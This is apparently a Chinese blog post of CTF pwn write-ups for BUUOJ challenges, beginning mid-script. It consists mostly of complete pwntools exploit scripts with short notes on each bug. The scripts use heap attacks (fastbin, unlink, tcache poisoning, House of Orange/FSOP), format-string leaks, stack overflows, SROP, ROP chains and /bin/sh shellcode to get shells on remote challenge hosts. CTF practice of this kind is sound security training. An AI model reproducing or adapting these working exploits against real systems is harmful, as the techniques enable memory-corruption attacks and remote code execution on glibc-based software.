main_arena_96 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_96 - 96 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
malloc_hook = libcbase + libc.sym['__malloc_hook']
one_gadget = libcbase + 0x4f322

# malloc_hook -> one_gadget
add(0x68, b'a') #index 2
free(0)
free(2)
add(0x68, p64(malloc_hook))
add(0x68, b'a')
add(0x68, p64(one_gadget))

#pwn
p.sendlineafter(b'Your choice: ', b'1')
p.sendlineafter(b'Size:', b'10')
p.interactive()
#debug()

lctf2016_pwn200

先询问姓名和 id
0
这里有溢出,感觉可以通过这里的溢出任意修改内存
0
然后是菜单
0
add
0
free
0
该题的 NX 没开,应该就是要执行 shellcode
这里没注意到,当 v2 的输入长度为 0x30 的时候,会把 rbp 泄露
可以看到写入的字符串与泄露的 rbp 的偏移为 0x50
再加上之前可以任意写内存,我们可以令 free@got -> shellcode_addr
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26832)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()

shellcode = asm(
'''
xor rsi,rsi
mul esi
push rax
mov rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 59
syscall
''')
payload = shellcode.ljust(0x30, b'a')
p.sendafter(b'who are u?\n', payload)
rbp = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
shellcode_addr = rbp - 0x50
p.sendlineafter(b'give me your id ~~?\n', b'0')
payload = p64(shellcode_addr)
payload = payload.ljust(0x38, b'\x00') + p64(elf.got['free'])
p.sendlineafter(b'give me money~\n', payload)

p.sendlineafter(b'your choice : ', '2')
p.interactive()
还有 house of spirit 的做法

gyctf_2020_some_thing_interesting

菜单堆题
先要输入验证码
0
输出验证码的时候有格式化字符串漏洞
0
菜单如图
0
add 会申请两次自定义大小堆块,有四个数组存储数据,两个数组存储堆块指针,两个数组存储堆块大小。
0
edit
0
free 存在 UAF
show
保护全开,凭个人经验,应该就是先利用格式化字符串泄露基址,再利用 fast bin attack
通过调试,可以利用第十七个参数泄露 libcbase
# leak libcbase
payload = b'OreOOrereOOreO%17$p'
p.sendline(payload)
p.sendlineafter(b'Now please tell me what you want to do :', '0')
p.recvuntil(b'OreOOrereOOreO')
libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
print(' libcbase -> ', hex(libcbase))
然后就是利用 fast bin attack 修改 fd 伪造 fake chunk 修改 malloc hook
# malloc_hook -> one_gadget
add(0x60, b'a', 0x60, b'b') #index1
free(1)
malloc_hook = libcbase + libc.sym['__malloc_hook']
print(' malloc_hook -> ', hex(malloc_hook))
one_gadget = libcbase + 0xf1147
print(' one_gadget -> ', hex(one_gadget))

edit(1, p64(0), p64(malloc_hook - 0x23))
add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget))
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27363)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(size1, content1, size2, content2):
p.sendlineafter(b'Now please tell me what you want to do :', '1')
p.sendlineafter(b'length : ', str(size1))
p.sendafter(b' : ', content1)
p.sendlineafter(b'length : ', str(size2))
p.sendafter(b' : ', content2)
def edit(index, content1, content2):
p.sendlineafter(b'Now please tell me what you want to do :', '2')
p.sendlineafter(b'ID : ', str(index))
p.sendafter(b' : ', content1)
p.sendafter(b' : ', content2)
def free(index):
p.sendlineafter(b'Now please tell me what you want to do :', '3')
p.sendlineafter(b'ID : ', str(index))
def show(index):
p.sendlineafter(b'Now please tell me what you want to do :', '4')
p.sendlineafter(b'ID : ', str(index))

#gdb.attach(p, 'b *$rebase(0xDA3)')
# leak libcbase
payload = b'OreOOrereOOreO%17$p'
p.sendline(payload)
p.sendlineafter(b'Now please tell me what you want to do :', '0')
p.recvuntil(b'OreOOrereOOreO')
libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
print(' libcbase -> ', hex(libcbase))

# malloc_hook -> one_gadget
add(0x60, b'a', 0x60, b'b') #index1
free(1)
malloc_hook = libcbase + libc.sym['__malloc_hook']
print(' malloc_hook -> ', hex(malloc_hook))
one_gadget = libcbase + 0xf1147
print(' one_gadget -> ', hex(one_gadget))

edit(1, p64(0), p64(malloc_hook - 0x23))
add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget))

# pwn
p.sendlineafter(b'Now please tell me what you want to do :', '1')
p.sendlineafter(b'length : ', '10')
p.interactive()
#debug()
有点坑,glibc 和 buu 提供的 libc 第一次出现了偏差,先用 glibc 在本地打通再放到远程打的
也可以用 dup 的方法
# leak libcbase
payload = b'OreOOrereOOreO%17$p'
p.sendline(payload)
p.sendlineafter(b'Now please tell me what you want to do :', '0')
p.recvuntil(b'OreOOrereOOreO')
libcbase = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
print(' libcbase -> ', hex(libcbase))

# malloc_hook -> one_gadget
malloc_hook = libcbase + libc.sym['__malloc_hook']
print(' malloc_hook -> ', hex(malloc_hook))
one_gadget = libcbase + 0xf1247
print(' one_gadget -> ', hex(one_gadget))

add(0x60, b'a', 0x60, b'b') #index1
free(1)
free(1)
add(0x60, p64(malloc_hook - 0x23), 0x60, p64(0))
add(0x60, b'a', 0x60, b'a'*0x13 + p64(one_gadget))
# pwn
p.sendlineafter(b'Now please tell me what you want to do :', '1')
p.sendlineafter(b'length : ', '10')
p.interactive()

qctf2018_stack2

实现了一个计数求和的功能的一个程序
0
0
其中,在修改数字的功能这里
0
并没有限定 v5 的大小,所以可以数组溢出写,并且存在后门函数
v13 数组距离 ret 是 0x74,偏移是 29(这里看错了,以为是一个内存单元写的)
0
但是吧,失败了(偏移是 0x74 也失败了),得用 gdb 调试看看
结合给 v13[0] 赋值的汇编代码看
0
可以发现 v13 的地址为 0xffffd068
如果继续步进,选择 5 选项退出,来到 ret 后一个指令处,这里的 eip 的指向就是 ret 的地址
可以得到偏移为 0x84
由于 v13 是 char 型
所以要一个一个字节写
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28177)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()

backdoor = [0x9b, 0x85, 0x4, 0x8]

p.sendlineafter(b'How many numbers you have:\n', '1')
p.sendlineafter(b'Give me your numbers\n', '1')
for i in range(4):
p.sendlineafter(b'5. exit\n', '3')
p.sendlineafter(b'which number to change:\n', str(0x84 + i))
p.sendlineafter(b'new number:\n', str(backdoor[i]))
p.sendlineafter(b'5. exit\n', '5')
p.interactive()

[BSidesCF 2019]Runit

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28802)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
p.recv()
p.sendline(asm(shellcraft.sh()))
p.interactive()

hgame2018_flag_server

0
明显要通过溢出控制变量,这里对 length v5 是否为负数并没有检查
read_n 这里就能够无限制写了
0
然后把 v10 填充下就行
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29542)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()

p.sendlineafter(b'your username length: ', '-1')
payload = b'a'*0x40 + b'\x01'
p.sendlineafter(b'whats your username?\n', payload)
p.recv()
print(p.recv())

zctf_2016_note3

16 的菜单堆题
0
add
0
edit
0
free
0
其中, sub_4008DD 函数是这样的
0
当 a2 = 0 时,由于 i 是无符号数,可以溢出写
pie 没有开启,那么就是先泄露基址,然后修改 ptr 了
先利用 fast bin attack 修改 ptr 为 free@got ,然后 edit 为 puts@plt ,泄露 libcbase ,再 edit 为 /bin/sh ,get shell
不知道为什么,失败了
ptr = 0x6020C8
add(0x10, p64(elf.got['puts'])) #index 0
add(0, b'a') #index 1
add(0x60, b'b') #index 2
add(0x60, b'c') #index 3
add(0x10, p64(elf.got['puts'])) #index 4
free(2)
free(3)
edit(1, p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(ptr - 0x1b))
add(0x60, b'a') #index 2
add(0x60, b'\x00'*0xb + p64(elf.got['free'])) #index 3
edit(0, p64(elf.sym['puts']))
如果把 ptr[0] 修改成 puts@got ,就能修改成功,但是,如果是 free@got 程序就崩溃了,也不知道为什么
弄明白了
0
这里的 *(a1 + i) = 0 ,相当于在输入的字符串末尾添加一个 \x00 ,如果我们写入 八个字节的话,则会影响其它数据,如果要正常写入可以只写入七个字节,反正由于小端序的原因少写的一字节为\x00 ,会由于上述原因补上
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 27718)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'option--->>\n', '1')
p.sendlineafter(b'(less than 1024)\n', str(size))
p.sendlineafter(b'content:\n', content)
def edit(index, content):
p.sendlineafter(b'option--->>\n', '3')
p.sendlineafter(b'the note:\n', str(index))
p.sendlineafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'option--->>\n', '4')
p.sendlineafter(b'the note:\n', str(index))
# fast bin attack
ptr = 0x6020C8
add(0, b'a') #index 0
add(0x60, b'b') #index 1
add(0x60, b'c') #index 2
free(1)
free(2)
edit(0, p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(ptr - 0x1b))
add(0x60, b'a') #index 1
add(0x60, b'\x00'*0xb + p64(elf.got['free']) + p64(elf.got['atoi'])*3) #index 2
edit(0, p64(elf.sym['puts'])[:-1])

# leak libcbase
free(1)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = atoi - libc.sym['atoi']
system = libcbase + libc.sym['system']

# atoi -> system
edit(3, p64(system)[:-1])

# pwn
p.sendlineafter(b'option--->>\n', b'/bin/sh\x00')
p.interactive()
也可以用 unlink
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27718)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(size, content):
p.sendlineafter(b'option--->>\n', '1')
p.sendlineafter(b'(less than 1024)\n', str(size))
p.sendlineafter(b'content:\n', content)
def edit(index, content):
p.sendlineafter(b'option--->>\n', '3')
p.sendlineafter(b'the note:\n', str(index))
p.sendlineafter(b'content:\n', content)
def free(index):
p.sendlineafter(b'option--->>\n', '4')
p.sendlineafter(b'the note:\n', str(index))
# unlink
ptr = 0x6020C8
payload = p64(0) + p64(0xa1) + p64(ptr - 0x18) + p64(ptr - 0x10)
add(0x80, payload) # index 0
add(0, b'a') # index 1
add(0x80, b'a') # index 2
payload = p64(0)*2 + p64(0xa0) + p64(0x90)
edit(1, payload)
free(1)
free(2)

# leak libcbase
edit(0, p64(0)*3 + p64(elf.got['free']) + p64(elf.got['atoi']) + p64(elf.got['atoi']))
edit(0, p64(elf.plt['puts'])[:-1])
free(1)
atoi = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = atoi - libc.sym['atoi']
system = libcbase + libc.sym['system']

# atoi -> system
edit(2, p64(system)[:-1])

# pwn
p.sendlineafter(b'option--->>\n', b'/bin/sh\x00')
p.interactive()
另外的解题方法:https://article.itxueyuan.com/9qXeJX

rootersctf_2019_srop

题目说是SROP
0
0
看下指令
0
可以自由控制 rax,以此构造 SROP
不过得先找到 /bin/sh 的地址,这里我们可以先 SROP 个 read 来存储 /bin/sh ,再 SROP execve('/bin/sh', '0', '0')
题目说是SROP


看下指令

可以自由控制 rax,以此构造 SROP
不过得先找到 /bin/sh 的地址,这里我们可以先 SROP 个 read 来存储 /bin/sh ,再 SROP execve('/bin/sh', '0', '0')
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29757)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()

syscall = 0x401033
pop_rax = 0x401032

sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rsi = 0x402000
sigframe.rdx = 0x100
sigframe.rip = syscall
sigframe.rbp = 0x402000 + 0x20

p.recv()
payload = b'a'*0x88 + p64(pop_rax) + p64(0xf) + flat(sigframe)
p.sendline(payload)

sigframe = SigreturnFrame()
sigframe.rax = 59
sigframe.rdi = 0x402000
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

payload = b'/bin/sh\x00' + b'a'*0x20 + p64(pop_rax) + p64(0xf) + flat(sigframe)
p.sendline(payload)
p.interactive()
主要注意的是第一次 SROP 要设置 rbp = 0x402000 + 0x20 ,方便我们再次溢出覆盖 ret 执行第二次 SROP getshell
主要注意的是第一次 SROP 要设置 rbp = 0x402000 + 0x20 ,方便我们再次溢出覆盖 ret 执行第二次 SROP getshell

houseoforange_hitcon_2016

16 的菜单堆题
0
add 申请了三个堆块,0x10 ,自定义,0x8 ,0x10 的堆块存放这两个堆块的指针
0
show
0
edit 和 add 那里一样,v2 是写入的字节大小,是无符号数,应该是整数溢出漏洞
0
第一次见到没有 free 的,也没有序号的堆块,edit 和 show 只用最新创建的堆块。
目前已知的有整数溢出,也就是堆溢出,但是 edit 和 show 只操作最新创建的堆块。倒是可以尝试 house of force
不过也得先泄露基址,由于存在堆块申请大小的限制,所以我们不能直接申请比 top chunk 还大的堆块,因此我们先通过堆溢出修改 top chunkj 的 size (注意内存页对齐),再申请比 top chunk 还大的 堆块, 这样 top chunk 就被放入 unsorted bin 了
这里原本是 fd 的位置,但是创建堆块时必须要写,会导致泄露的数据有错误,所以我们都用 a 填充,令其泄露后面的 bk
0
同样,继续把 bk 填充满,就可以泄露堆块地址
# leak libcbase head_addr
add(0x10, b'a', b'1')
edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1')
add(0xfb0, b'a', b'1')
add(0x400, b'a'*8, b'1')
show()
main_arena_1640 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))

edit(-1, b'a'*12 + b'stop', b'1')
show()
p.recvuntil('stop')
head_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0
print(' head_addr -> ', hex(head_addr))
再接下来是一个新知识点
FSOP
在libc的 _IO_list_all 中,存放有一个 _IO_FILE_plus 结构体的指针, 如下图,它指向 _IO_2_1_stderr_:
0
而 _IO_FILE_plus结构体详细内容如下
0
其中_chain指向下一个_IO_FILE_plus结构体
在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp:
while (fp != NULL)
{
…
    fp = fp->_chain;
    ...
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)
如果满足以下条件:
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了
————————————————
太折磨人了,真没搞懂 fsop
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25535)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(size, content1, content2):
p.sendlineafter(b'choice : ', '1')
p.sendlineafter(b'name :', str(size))
p.sendafter(b'Name :', content1)
p.sendafter(b'Price of Orange:', content2)
p.sendlineafter(b'Color of Orange:', '1')
def show():
p.sendlineafter(b'choice : ', '2')
def edit(size, content1, content2):
p.sendlineafter(b'choice : ', '3')
p.sendlineafter(b'name :', str(size))
p.sendafter(b'Name:', content1)
p.sendafter(b'Price of Orange:', content2)
p.sendlineafter(b'Color of Orange:', '1')
# leak libcbase head_addr
add(0x10, b'a', b'1')
edit(-1, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1), b'1')
add(0xfb0, b'a', b'1')
add(0x400, b'a'*8, b'1')
show()
main_arena_1640 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = main_arena_1640 - 1640 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))

edit(-1, b'a'*12 + b'stop', b'1')
show()
p.recvuntil('stop')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xc0
print(' heap_addr -> ', hex(heap_addr))

# FSROP
system = libcbase + libc.sym['system']
IO_list_all = libcbase + libc.sym['_IO_list_all']

payload = b'a' * 0x400 + p64(0) + p64(0x21) + b'a'*0x10
fake_file = b'/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(IO_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_addr + 0x5C8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file

edit(-1, payload, b'1')
#debug()
# pwn 
p.sendlineafter(b'choice : ', '1')
p.interactive()

 gyctf_2020_document

菜单堆题
0
add 创建两个固定大小的堆块,其中 v2 存放 0x80 大小堆块的指针,另有一个数组存放 0x8 大小堆块的指针
注意这里读的时候要读够足够的字节才会继续向下执行
0
show
0
edit 可以选择是否改变 sex
0
free 存在 UAF,并且只 free 0x80 大小的堆块
0
保护全开,先要泄露基址,由于存在 UAF, free 后 show 就能泄露 libcbase 了
可以看到会泄露 main_arena_88
# leak libcbase 
add(b'a'*8, b'W', b'a'*0x70) #index 0
add(b'a'*8, b'W', b'a'*0x70) #index 1
free(0)
show(0)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
但是呢, edit 是往 0x80 的 堆 的 user data 后十六个字节开始写,修改不了 fd 和 bk
看了wp,接下来最牛逼的方法来了,由于我们之前最先申请的 0x8 大小的 chunk 的 user data 还指向了一个具体的地址。我们接下来继续 add 时,0x8 的 chunk 会从 free 的 0x80 大小的 chunk 切割 0x20 大小出来使用,但是 edit 只能往 0x10 大小字节后面写,所以我们 add 两次就行了,可以修改 指向 堆块 的指针为 atoi@got ,然后将 atoi@plt 修改为 system@sym ,就能 getshell 了
对哦,保护全开写不了 got 表,只能劫持 free_hook 为 one_gadget 了
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27910)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(name, sex, content):
p.sendlineafter(b'choice : \n', '1')
p.sendafter(b'name\n', name)
p.sendafter(b'sex\n', sex)
p.sendafter(b'information\n', content)
def show(index):
p.sendlineafter(b'choice : \n', '2')
p.sendlineafter(b'index : \n', str(index))
def edit(index, content):
p.sendafter(b'choice : \n', '3')
p.sendafter(b'index : \n', str(index))
p.sendafter(b'sex?\n', 'N')
p.sendafter(b'information\n', content)
def free(index):
p.sendlineafter(b'choice : \n', '4')
p.sendlineafter(b'index : \n', str(index))

# leak libcbase 
add(b'a'*8, b'W', b'a'*0x70) #index 0
add(b'a'*8, b'W', b'a'*0x70) #index 1
free(0)
show(0)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))

# dup   ----   free_hook -> one_gadget
free_hook = libcbase + libc.sym['__free_hook']
one_gadget = libcbase + 0x4526a
add(b'b'*8, b'W', b'a'*0x70) # index 2
add(b'c'*8, b'W', b'a'*0x70) # index 3
edit(0, p64(0) + p64(0x21) + p64(free_hook - 0x10) + p64(1) + p64(0) + p64(0x51) + p64(0)*8)
edit(3, p64(one_gadget) + p64(0)*13)
print(hex(one_gadget))
#debug()
# pwn
free(1)
p.interactive()
注意是 free_hook - 0x10 ,因为 edit 隔 0x10 字节写

强网杯2019 拟态 STKOF

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26919)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def get_payload():
p = b'a'*0x110
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x0807be5a) # inc eax ; ret
p += pack('<I', 0x080495a3) # int 0x80
return p

payload = get_payload()
p.recv()
p.send(payload)
p.interactive()
拟态题,给了两个程序,直接用 32 位程序 ropchain 是能直接打通靶机的,但是打不通 64位程序

ciscn_2019_final_5

菜单堆题
0
add sub_400ae5 会泄露堆块的低三位地址,但是没啥用。后面再仔细看下程序流程,发现 index 并不是你申请的堆块的编号(这里后面发现错了,free 和 edit 会通过取存放堆块的指针的数组的数据 & F 来得到堆块序号,下面的 0x10 相当于占用的序号为 0 的位置,真的好巧妙,绝了),而是用来跟堆地址按位与后写入存放堆块指针的数组中,由于存在 tcache ,所以第一个申请的 0x10 大小的堆块一般是的地址后三位是 0x260 ,那么如果 index 是 0x10 ,按位与后就是 0x270 了,之后的 edit 和 free 都是按照 0x270 的地址操作,因此可以实现堆溢出
0
free
0
edit
0
add sub_400ae5 会泄露堆块的低三位地址,但是没啥用。后面再仔细看下程序流程,free 和 edit 会通过取存放堆块的指针的数组的数据 & F 来得到堆块序号,由于存在 tcache ,所以第一个申请的 0x10 ( 0x10 相当于占用的序号为 0 的位置) 大小的堆块一般是的地址后三位是 0x260 ,那么如果 index 是 0x10 ,按位与后就是 0x270 了,之后的 edit 和 free 都是按照 0x270 的地址操作,因此可以实现堆溢出
由于没开 PIE,通过堆溢出修改 tcache bin 中的 chunk 的 fd ,使其指向存放堆块指针的数组,修改 free@plt 为 puts@sym 泄露 libcbase,再修改 atoi@plt 为 system ,这是常规操作了
另外要注意的是,free@gotatoi@got 的最低位都是 0x8 ,因此 index 8 时才能修改,并且修改的时候是从 free@plt 前八个字节开始改的
# leak libcbase
add(0x10, 0x18, b'a') #index 0
add(1, 0x10, b'b') #index 1
free(1)
edit(0, p64(0) + p64(0x21) + p64(0x6020e0))
add(2, 0x10, b'a') #index 2
add(3, 0x18, p64(elf.got['free']) + p64(elf.got['atoi']))
edit(8, p64(0) + p64(elf.sym['puts']))
free(8)
free(8)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['setvbuf']
print(' libcbase -> ', hex(libcbase))
还要一个要注意的点,第一次 free 后即 第一次 puts ,其实泄露的是 free@got -> puts@plt ,也是就从 puts@plt 前八个字节开始的数据,这个没什么用,所以我们第二次 free ,这时候的 puts 的参数是 atoi@got,这时候能够正常泄露,但是是泄露 atoi@plt 的前八个字节,从 ida 看的话,是 setvbuf@plt
之后就是修改 atoi@got -> system 了
不过这里也值得注意,由于我们之前 free 的时候顺带把存放 chunk 大小的数组也给清零了,这时候 edit 就写不进数据了,所以这里先申请一个 chunk ,再修改,就能成功 edit 了
# atoi -> system
system = libcbase + libc.sym['system']
add(0, 0x10, b'a')
edit(3, p64(elf.got['atoi']))
edit(8, p64(0) + p64(system))
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 26919)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
gdb.attach(p)
pause()
def add(index, size, content):
p.sendlineafter('your choice: ', '1')
p.sendlineafter(b'index: ', str(index))
p.sendlineafter(b'size: ', str(size))
p.sendafter(b'content: ', content)
def free(index):
p.sendlineafter('your choice: ', '2')
p.sendlineafter(b'index: ', str(index))
def edit(index, content):
p.sendlineafter('your choice: ', '3')
p.sendlineafter(b'index: ', str(index))
p.sendafter(b'content: ', content)
# leak libcbase
add(0x10, 0x18, b'a') #index 0
add(1, 0x10, b'b') #index 1
free(1)
edit(0, p64(0) + p64(0x21) + p64(0x6020e0))
add(2, 0x10, b'a') #index 2
add(3, 0x18, p64(elf.got['free']) + p64(elf.got['atoi']))
edit(8, p64(0) + p64(elf.sym['puts']))
free(8)
free(8)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['setvbuf']
print(' libcbase -> ', hex(libcbase))

# atoi -> system
system = libcbase + libc.sym['system']
add(0, 0x10, b'a')
edit(3, p64(elf.got['atoi']))
edit(8, p64(0) + p64(system))

# pwn
p.sendlineafter('your choice: ', '/bin/sh\x00')
p.interactive()
posted @ 2022-11-05 14:48  xshhc  阅读(418)  评论(0编辑  收藏  举报